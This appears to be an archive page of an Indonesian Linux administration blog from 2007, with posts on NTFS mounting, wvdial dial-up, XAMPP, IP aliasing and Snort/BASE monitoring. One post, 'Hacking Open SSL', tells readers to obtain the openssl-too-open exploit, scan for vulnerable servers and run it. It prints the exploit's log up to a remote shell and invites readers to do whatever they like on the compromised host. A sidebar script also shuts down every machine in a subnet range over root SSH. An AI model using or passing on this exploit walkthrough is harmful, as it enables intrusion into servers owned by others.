comment = Home Directories

valid users = %U

read only = No

browseable = No

[profiles]

path = /home/samba/profiles

read only = No

create mask = 0600

directory mask = 0700

browseable = No

[netlogon]

comment = Network Logon Service

path = /home/netlogon

browseable = No

Hacking Open SSL

2007-02-19T09:37:00.000+07:00

Langkah yang harus dilakukan:
1. Download openssl-too-open.tar.gz bisa download dimana aja terserah...
2. Extract File tersebut.
3. Kemudian jalankan configure, make dan Siap digunakan.

Terlebih dahulu yg harus ente lakukan adalah scanning server target apakah vulnerable? Kalau vulnerable kemungkinan bisa di bobol ok.
Di bawah ini hasil server yg telah di bobol

$ ./ssl -a 0x08 -v 2xx.xx.xx.xx
: openssl-too-open : OpenSSL remote exploit
Modified by xxx

: Opening 30 connections
Establishing SSL connections

-> ssl_connect_host
-> ssl_connect_host
-> ssl_connect_host
-> ssl_connect_host
: Using the OpenSSL info leak to retrieve the addresses
-> send_client_hello
-> get_server_hello
-> send_client_master_key
-> generate_session_keys
-> get_server_verify
-> send_client_finished
-> get_server_finished
ssl0 : 0x8324180
-> send_client_hello
-> get_server_hello
-> send_client_master_key
-> generate_session_keys
-> get_server_verify
-> send_client_finished
-> get_server_finished
ssl1 : 0x8324180
-> send_client_hello
-> get_server_hello
-> send_client_master_key
-> generate_session_keys
-> get_server_verify
-> send_client_finished
-> get_server_finished
ssl2 : 0x8324180

: Sending shellcode
-> send_client_hello
-> get_server_hello
ciphers: 0x8324180 start_addr: 0x83240c0 SHELLCODE_OFS:
208
-> send_client_master_key
-> generate_session_keys
-> get_server_verify
-> send_client_finished
-> get_server_error
Execution of stage1 shellcode succeeded, sending stage2
Spawning shell...

bash: no job control in this shell
bash-2.04$
bash-2.04$ uname -a; id; w;
Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
12:01am up 10 days, 8:00, 0 users, load average: 0.24, 0.22, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
bash-2.04$
bash-2.04$

Setelah dapet terserah ente mau diapain :p
Source: Dari orang katro plus ndeso yang berasal dari clan yang berbahaya kalo disebutkan namanya (bisa2 blog gw di deface). Sorry gw gak sebut asal usul ente bro..! But ur still in my heart... (cuiiih).

Akses ke partisi NTFS dari LinuxOS

2007-02-19T09:24:00.000+07:00

Menurut survey masih banyak pengguna Linux yang di kompinya menggunakan dual OS antara Linux dan Windows XP. Masalah yang sering kali muncul adalah ketika menggunakan Linux, partisi Windows XP yang memakai file sistem NTFS tidak dapat dibaca atau bahkan untuk menyimpan file. Biasanya beberapa sistem Linux menyediakan satu paket bernama ntfsprogs yang sudah terbundel dalam source. Sayangnya paket ini hanya memiliki akses untuk membaca saja. Agar dapat digunakan selayaknya file sistem yang bisa read/write, maka Linuxers dapat menggunakan paket ntfs-3g sebagai alternatif solusi.

Installasi paket

# tar xfvz ntfs-3g.20070714-BETA.tgz

# cd ntfs-3g.20070714-BETA

# ./configure

# make && make install

Trouble shooting

Kalau ada pesan error waktu penginstallan, cek lagi paket fuse, fuse-libs, fuse-devel dan kernel-devel terinstallasi dengan baik di kompi ente.

Jalankan program

Perintah melakukan mounting ke NTFS:

# ntfst-3g [partisi NTFS yang ingin diakses] [mount point]

Contoh:

# ntfst-3g /dev/hda1 /mnt/windows

--> Dengan catatan direktori /mnt/windows sudah dibuat

Perintah untuk user biasa (bukan root)

# ntfs-3g /dev/hda1 /mnt/windows –o silent, umask=0, locale=hu_HU.utf8

Kalau ingin memount secara otomatis ketika boot.

Perintahnya:
ntfs-3g /dev/hda1 /mnt/windows –o silent, umask=0, locale=hu_HU.utf8 0 0
-->> Masukin script ini di /etc/fstab

Sekarang Linuxers bisa mengakses partisi WindowsXP-nya (NTFS) dengan hak akses read/write. Semoga bermanfaat.

Koneksi Internet dial-up dengan Wvdial

2007-02-16T19:50:00.000+07:00

Ceritanya gini... Kompi dirumah pake empat system operasi, satu windows dan yang laen Linux (SuSe 10, Fedora5, CentOS 4). Waktu gw nyoba pake modem internal D-Link yang biasa gw pake di windows, linux gak bisa nemuin drivernya. Jadi untuk kasus ini gw minjem temen modem eksternal punya tetangga. Modemnya Prolink external v.92 (tulisannya sih gitu). Gw nyoba di SuSe 10 kali ini. Oia... modem sebelumnya dihubungkan ke kompi melalui konektor serial, jadi otomatis SuSe nge-detek device ini di /dev/ttyS0.

Sedangkan aplikasi Wvdial dipake buat mengkoneksikan modem dial-up ke internet. Wvdial biasanya udah otomatis ter-bundle di setiap distro Linux. Misalnya gini... anggap aja aplikasi Wvdial udah terinstall di Linux SuSe. Jadi buat jalaninnya kita musti berubah jadi superman... eh... superuser. :D

Gini perintahnya:
# wvdialconf /etc/wvdial.conf

Found a modem on /dev/ttyS0.
Modem configuration written to
/etc/wvdial.conf.
tty0: Speed 115200;
init "ATQ0 V1 E1 S0=0 &C1 & D2
+FCLASS=0"

Koneksi ke telkomnet instan.
Edit file /etc/wvdial.conf dengan baris perintah:
###
Phone = 080989999
Username = telkomnet@instan
Password = telkom
###

Untuk memulai koneksi:
# wvdial
---> Jalanin aplikasi wvdial setelah selesai di konfigurasi.

Sekarang tinggal buka browser mozilla atau conqueror buat surfing on the cyber. Jangan lupa jalanin gaim atau kopete juga. Ati-ati pulsa telepon bengkak...! Hehehe...

Oia... buat berhentiin aplikasi ini kita tinggal teken Ctrl+C atau klo masih bandel gak mo mati juga (jarang sih kasus kayak gini) ketik aja kill -9 atau matiin aja skalian kompi ente. :D

Migrasi dari PHP Triad ke XAMPP

2007-02-16T18:03:00.000+07:00

PHP Triad biasa dikenal oleh developer web adalah aplikasi yang membundel Apache, MySQL dan PHP. Itu apabila sang developer web memakai system operasi Windows Fam. Pertanyaannya aplikasi apa yang dapat melakukan hal yang sama dengan PHP Triad tetapi berjalan di system Linux??
Jawaban sederhananya adalah XAMPP sebagai salah satu alternatif bagi developer web apabila akan migrasi ke Linux.

XAMPP adalah pengembangan dari LAMPP (Linux Apache MySQL PHP and Perl) plus FTP dan e-mail server yang sederhana.

Download XAMPP:
# wget http://jaist.dl.sourceforge.net/sourceforge/xampp/xampp-linux-1.5.4a.tar.gz

Ekstrak paket tarball:
# tar xfvz xampp-linux-1.5.4a.tar.gz -C /opt/
-->> Artinya paket tarball dari xampp-linux akan di ekstrak ke dalam direktori /opt.

Masuk ke direktori tujuan:
# cd /opt/lampp/
# ls -l
-->> Isi dari direktori /opt/lampp/
total 85
drwxr-xr-x 20 root root 552 Sep 29 16:31 .
drwxr-xr-x 9 root root 544 Feb 14 13:49 ..
-rw-rw-r-- 1 root root 40999 Sep 29 16:12 RELEASENOTES
drwx------ 2 root root 48 Feb 11 2004 backup
drwxr-xr-x 3 root root 7248 Sep 29 16:33 bin
drwxr-xr-x 2 root root 96 Jul 14 2004 cgi-bin
drwxr-xr-x 3 root root 976 Oct 16 2005 error
drwxr-xr-x 10 root root 672 Sep 10 16:13 etc
drwxr-xr-x 7 nobody root 528 Jun 8 2006 htdocs
drwxr-xr-x 3 root root 4600 May 31 2003 icons
-rwxr-xr-x 1 root root 14460 Aug 25 06:32 lampp
drwxr-xr-x 10 root root 4680 Sep 29 16:33 lib
drwxr-xr-x 2 root root 48 Apr 27 2006 libexec
drwxr-xr-x 37 root root 944 Mar 14 2006 licenses
drwxr-xr-x 2 root root 176 Sep 29 16:23 logs
drwxr-xr-x 2 root root 2544 Sep 29 16:33 modules
drwxr-xr-x 9 root root 2736 Aug 25 06:32 phpmyadmin
drwxrwxrwx 2 root root 824 Mar 24 2006 phpsqliteadmin
drwxr-xr-x 2 root root 184 Sep 29 16:33 sbin
drwxr-xr-x 15 root root 376 Sep 29 16:31 share
drwxr-xr-x 3 root root 80 Jan 19 2005 tmp
drwxr-xr-x 5 root root 120 Sep 29 16:23 var

Parameter aplikasi:
# ./lampp
Usage: ./lampp

start Start XAMPP (Apache, MySQL and eventually others)
startapache Start only Apache
startssl Start only SSL support
startmysql Start only MySQL
startftp Start only ProFTPD

stop Stop XAMPP (Apache, MySQL and eventually others)
stopapache Stop only Apache
stopmysql Stop only MySQL
stopssl Stop only SSL support
stopftp Stop only ProFTPD

reload Reload XAMPP (Apache, MySQL and eventually others)
reloadapache Reload only Apache
reloadmysql Reload only MySQL
reloadftp Reload only ProFTPD

restart Stop and start XAMPP
security Check XAMPP's security

php5 Activate PHP5
php4 Activate PHP4
phpstatus Which version of PHP is active?

backup Make backup file of your XAMPP config, log and data files
panel Starts graphical XAMPP control panel

Untuk menjalankanya:
# ./lampp start

Sekarang tinggal browse http://localhost/ di mozilla. Gutlak..!

Referensi: http://www.apachefriends.org/en/xampp.html

Aliasing alamat IP

2007-02-15T15:13:00.000+07:00

Mungkin artikel ini udah jadul, basi, culun, katro dan sebagainya. Tapi daripada gak diposting sayang kan..? Toh masih ada adek2 kita yang masih belum tau soal ini. Semoga bermanfaat...
Gini ceritanya:
Ini ada cara yang paling sederhana untuk membuat alamat IP kita jadi banyak dengan satu Ethernet Card. Bahasa kerennya mah multiple ipaddress, dimana langkah-langkah konfigurasi dapat dimodifikasi sesuai kondisi. Contohnya penggunaan eth0 atau eth1 sehingga dalam per-misalannya akan menunjukkan kepada kita bahwa diperlukan perubahan dengan variabel-'n' sebagai variabel untuk ethernet card (eth) yang dipakai.

List alamat IP berikut ini juga merupakan IP private yang mana jika kita memerlukan IP aliasing terhadapnya maka konsepnya seperti menggunakan IP public.

Dengan perintah # ifconfig
Kita bisa menggunakan perintah dasar pada console linux.
# ifconfig eth'n':'n' -->>dimana 'n' adalah variabel
untuk menambahkan beberapa alamat IP alias terhadap interface eth'n', kayak gini perintahnya:


# ifconfig eth0 192.168.0.2 broadcast 192.168.0.255 netmask 255.255.255.0
# ifconfig eth0:1 192.168.0.3 broadcast 192.168.0.255 netmask 255.255.255.0
# ifconfig eth0:2 192.168.0.4 broadcast 192.168.0.255 netmask 255.255.255.0
# ifconfig eth0:3 192.168.0.5 broadcast 192.168.0.255 netmask 255.255.255.0
# ifconfig eth0:4 192.168.0.6 broadcast 192.168.0.255 netmask 255.255.255.0

Tapi konfigurasi diatas tadi tidak permanen, artinya setiap kompi di reboot konfigurasi yang diketikin diatas bakal ilang. Perintah-perintah diatas tadi masih butuh konfigurasi ulang setiap kita start daemon network dengan multiple alias.
Kalau pengen konfigurasi tadi tetep ada pas kompi reboot, maka perlu ditambahin ke file konfigurasi yang meng-handle script boot.

Klo di RH (RHE, Fedora, CentOS), Mdk (Mandriva).
File yang menghandle script boot terletak di:
/etc/init.d/rc.local

Klo di SuSe.
File yang menghandle script boot terletak di:
/etc/rc.d/boot.local

Klo di Gentoo.
File yang menghandle script boot terletak di:
/etc/conf.d/net

Contoh konfigurasi pada Gentoo (

/etc/conf.d/net):
###
iface_eth0="192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255"
gateway="eth0/192.168.0.1"
alias_eth0=("192.168.0.2", "192.168.0.3", "192.168.0.4")
broadcast_eth0=("192.168.0.255", "192.168.0.255", "192.168.0.255")
netmask_eth0=("255.255.255.0", "255.255.255.0", "255.255.255.0")
###
#(Setelah selesai di-edit jangan lupa di save).#
###



Cara lainnya kalo konfigurasi diatas tadi gak berhasil:
###
config_eth0=(
       "192.168.0.1 netmask 255.255.255.0 brd 192.168.0.255"
       "192.168.0.2 netmask 255.255.255.0 brd 192.168.0.255"
       "192.168.0.3 netmask 255.255.255.0 brd 192.168.0.255"
       "192.168.0.4 netmask 255.255.255.0 brd 192.168.0.255"
       routes_eth0=( "default gw 192.168.0.1" )

###
#(Setelah selesai di-edit jangan lupa di save).#
###

Sekarang

kalo kita kasi perintah:
# ifconfig

eth0      Link encap:Ethernet  HWaddr 00:80:48:44:72:6F
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::280:48ff:fe44:726f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:95701 errors:0 dropped:0 overruns:0 frame:0
          TX packets:92312 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:12813006 (12.2 Mb)  TX bytes:69645630 (66.4 Mb)
          Interrupt:5 Base address:0xaf00

eth0:1    Link encap:Ethernet  HWaddr 00:80:48:44:72:6F
          inet addr:192.168.0.2  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0xaf00

eth0:2    Link encap:Ethernet  HWaddr 00:80:48:44:72:6F
          inet addr:192.168.0.3  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0xaf00

eth0:3    Link encap:Ethernet  HWaddr 00:80:48:44:72:6F
          inet addr:192.168.0.4  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0xaf00

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:166 errors:0 dropped:0 overruns:0 frame:0
          TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:11151 (10.8 Kb)  TX bytes:11151 (10.8 Kb)

Memonitor jaringan dengan Basic Analysis and Security Engine.

2007-02-15T11:43:00.000+07:00

Salam opensource...!!
Sebelumnya mohon maaf buat para senior, gw cuma seorang newbie. Bukan bermaksud menggurui hanya sekedar sharing informasi. Aplikasi ini nyaris berguna buat sysAdmin buat mengkontrol traffic di jaringannya. Semacam perintah iptraf atao ipstats. Tapi gw kira ini lebih kompleks lagi.
Aplikasi yang dibutuhkan adalah Snort, Apache, SSL, PHP, MySQL, dan BASE. Disini gw pake CentOS 4 yang sudah diinstall sebagai web server dan database server.

Langkah pertama setelah CentOS 4 udah diinstal:

Donlot snort dan PCRE
Ente-ente donlot pake paan kek, yang penting bisa donlot. Klo gw lebih seneng pake wget.
# wget http://www.snort.org/dl/old/snort-2.3.3.tar.gz
disini gw sengaja tidak menggunakan snort versi 2.6.11 dikarenakan versi ini lebih friendly. (padahal belum pernah nyoba. Hehehe).

Buat donlot PCRE.
# wget http://easynews.dl.sourceforge.net/sourceforge/pcre/pcre-5.0.tar.gz

Install PCRE
# tar –xvzf pcre-5.0.tar.gz
# cd pcre-5.0
# ./configure
# make
# make install

Install dan konfigurasi snort
# tar -xvzf snort-2.3.3.tar.gz
# cd snort-2.3.3
# ./configure --with-mysql
# make
# make install

# groupadd snort

-->> buat group dengan nama snort
# useradd -g snort snort -->> membuat user dengan nama snort dan menggabungkan ke group snort
# mkdir /etc/snort -->> buat direktori (bla...bla...bla)
# mkdir /etc/snort/rules
# mkdir /var/log/snort

Install rule dan file conf (dari direktori install snort)
# cd rules
# cp * /etc/snort/rules
# cd ../etc
# cp * /etc/snort

Buat konfigurasi pada file snort.conf dan ubah beberapa baris
var HOME_NET 10.2.2.0/24
-->>(internal network, gunakan aturan dari CIDR. Kalo gak tau CIDR buka link http://www.oav.net/mirrors/cidr.html)
var EXTERNAL_NET !$HOME_NET
-->>(berarti semua dianggap bukan home net/ diluar jaringan)
change "var RULE_PATH ../rules" to "var RULE_PATH /etc/snort/rules"
-->>menentukan path dari rule buat snort
output database: log, mysql, user=snort password=snort dbname=snort host=localhost
-->>pemberitahuan buat snort kalo sistem ini ada mysqlnya. :D

Memulai snort pada saat sistem restart
tambahkan baris dibawah ini pada file /etc/rc.local:
/usr/local/bin/snort -c /etc/snort/snort.conf -i eth0 -g snort -D

Setting database MySQL
# mysql
mysql> SET PASSWORD FOR root@localhost=PASSWORD('password');
>Query OK, 0 rows affected (0.25 sec)
mysql> create database snort;
>Query OK, 1 row affected (0.01 sec)
mysql> grant INSERT,SELECT on root.* to snort@localhost;
>Query OK, 0 rows affected (0.02 sec)
mysql> SET PASSWORD FOR snort@localhost=PASSWORD('password_from_snort.conf');
>Query OK, 0 rows affected (0.25 sec)
mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;
>Query OK, 0 rows affected (0.02 sec)
mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort;
>Query OK, 0 rows affected (0.02 sec)
mysql> exit
>Bye

Buat table unt database snort
# mysql -u root -p < ~/[direktori_snort_terinstall]/snort-2.3.3/schemas/create_mysql snort
Enter password: [password root mysql]

Cek konektivitas
# mysql -p
>Enter password:
mysql> SHOW DATABASES;
(You should see the following)
+------------+
| Database
+------------+
| mysql
| Snort
| test
+------------+
3 rows in set (0.00 sec)
mysql> use snort
>Database changed
mysql> SHOW TABLES;
+------------------+
| Tables_in_snort
+------------------+
| data
| detail
| encoding
| event
| icmphdr
| iphdr
| opt
| reference
| reference_system
| schema
| sensor
| sig_class
| sig_reference
| signature
| tcphdr
| udphdr
+------------------+
16 rows in set (0.00 sec)
exit;

Kalo udah muncul table2 diatas berarti settingan dan konfigurasi yang udah dilakukan diatas berhasil. Ntar gw mo siapin kopi dulu...
... ... ... ... ...... ... ... ... ...
... ... ... ... ...... ... ... ... ...
OK... Kembali ke laaapp...tooooopp...!!

Sekarang donlot dan install BASE
Sebelumnya kita juga perlu mendonlot ADODB buat sesajen (serius amat bacanya. Hehehe...). Ini buat konek dengan aplikasi database. Seperti biasa kita menggunakan wget.
# wget http://easynews.dl.sourceforge.net/sourceforge/adodb/adodb462.tgz

Donlot BASE dan kroco-kroconya
Buka browser dan buka link ini:
http://sourceforge.net/project/showfiles.php?group_id=103348
Saya gak mau nerangin lagi cara donlotnya... terserah mo pake apa.

Install ADODB
Kembali ke direktori tempat nyimpen hasil donlot tadi. Ketikin nih perintah.
# cp adodb462.tgz /var/www/ -->>Kopiin master adodb ke /var/www/
# cd /var/www/
# tar -xvzf adodb462.tgz -->>Ekstrak

Install dan konfigurasi BASE
Masih di direktori tempat nyimpen hasil donlot. Ketikin lagi.
# cp base-1.1.2.tar.gz /var/www/html/ -->>Kopiin master base-1.1.2 ke /var/www/
# cd /var/www/html
# tar –xvzf base-1.1.2.tar.gz -->>Ekstrak
# mv base-1.1.2 base -->>Rename (biar gampang maksutnya)
# cd /var/www/html/base/
# cp base_conf.php.dist base_conf.php -->>Buat file base_conf.php dengan isi dari base_conf.php.dist

edit file "base_conf.php" dan tambahkan parameter ini
$BASE_urlpath = "/base";
$DBlib_path = "/var/www/adodb/ ";
$DBtype = "mysql";
$alert_dbname = "snort";
$alert_host = "localhost";
$alert_port = "";
$alert_user = "snort";
$alert_password = "password_from_snort_conf";

Sampai sejauh ini berarti sudah berhasil. Terus aktifkan daemon apache, mysql, php. Nyalakan browser Mozilla atau Conqueror atau apapun itu selagi berbentuk internet browser.
Ketikan: http://localhost/base
Lalu ikuti perintah untuk menginstallnya, (biasanya sih diawali dengan mengklik 'SETUP'). Kalo kali ini berhasil berarti sang admin bisa memonitor aktivitas jaringannya lewat web browser.
Akhir kata... selamat mencoba...

.:My Black Corner:.

apt-get install wife with the following dependencies

Repo Ibex

Selamat hari raya Iedul Fitri 1429 H

Compile Kernel di Ubuntu Hardy

Defragmenting Disk di Linux?

Dokumentasi (pribadi) Subversion

Installasi Multimedia Codec di Ubuntu

GNU Media Streaming Server - Ubuntu Gutsy Gibbon

Meng-install Aplikasi Erlang-12.b di Ubuntu Gutsy Gibbon

Streaming Flash Menggunakan Flowplayer

Merubah aturan waktu dengan menggunakan konsole

Hardy Release Party, Yogja

Hardy Release Party, Bandung

Login SSH-server otomatis tanpa password

Sistem Penjadwalan dengan Crontab - Ubuntu Gutsy Gibbon

Konversi File .rpm ke .deb - Ubuntu 7.10

Task Manager dengan HTOP

Sniffing Paket Data Yahoo Messenger

Gateway Monitoring / Packet Sniffing Tools

Membuat PC Router dengan mesin Linux

Memonitor jaringan dengan menggunakan ntop

Membangun server SVN (subversion)

Remote SSH server menggunakan hp Sony Ericsson P1i dan PuTTY

Membangun MP3 Streaming Server - Ubuntu Gutsy Gibbon

Script Memblock Akses Y!M pada Gateway/Router

Installasi NessusNetwork Auditor di Ubuntu 7.10

Darwin Streaming Server - Ubuntu Gutsy Gibbon

Akhirnya Gutsy Gibbon dateng juga

Upgrade Feisty ke Gutsy

Script shutdown broadcast pada satu jaringan/net id

#!/bin/bashif (($1<=$2)); then for ((i=$1;i<=$2;i++)); do ssh root@192.168.0.$i halt -p & doneelif (($1>$2)); then for ((i=$1;i>=2;i–)); do ssh root@192.168.0.$i halt -p & doneelse echo “Masukan bilangan bulat..!!”fi

Tambahan link repository Indonesia

Mencegah syn flood attack dengan iptables

Upgrade Kernel Ubuntu Feisty Fawn

Menginstall server game Counter Strikes di mesin Linux

Akhirnya Feisty Fawn datang juga

Bandwidth Limiter dengan Delay Pools (Lanjutan squid-2.6.STABLE12)

squid-2.6.STABLE12 Installasi dan konfigurasi sebagai proxy filtering, cache server, dan bandwidth limiter

Burning CD lewat console mode

Menginstall Webmin di Ubuntu Feisty Fawn

Monitoring Ubuntu Desktop dan Service Menggunakan Monit

Mengamankan SSH Server di Ubuntu 7.04

Membangun BIND Server di Ubuntu Feisty Fawn

Meningkatkan kinerja HDD IDE dengan 'hdparm'

Script sederhana untuk mem-blok port TCP/UDP

Mencegah Denial of Service dengan konfigurasi sederhana

Membangun NAS Server menggunakan Samba

Konfigurasi VSFTPd server di Open SuSe 10

Setting Gateway sederhana dengan iptables

Menghitung operasi matematika menggunakan bash console

Explore file jarak jauh dengan phpExplorator

Membuat konfigurasi DNS menggunakan MyDNSConfig

System Monitoring Sederhana dengan Conky

Installasi Webmin di SuSe 10

Membuat server blog Wordpress pada jaringan komputer lokal

Konfigurasi SAMBA sebagai PDC

Hacking Open SSL

Akses ke partisi NTFS dari LinuxOS

Koneksi Internet dial-up dengan Wvdial

Migrasi dari PHP Triad ke XAMPP

Aliasing alamat IP

Memonitor jaringan dengan Basic Analysis and Security Engine.

#!/bin/bash
if (($1<=$2)); then for ((i=$1;i<=$2;i++)); do ssh root@192.168.0.$i halt -p &
done
elif (($1>$2)); then
for ((i=$1;i>=2;i–)); do
ssh root@192.168.0.$i halt -p &
done
else
echo “Masukan bilangan bulat..!!”
fi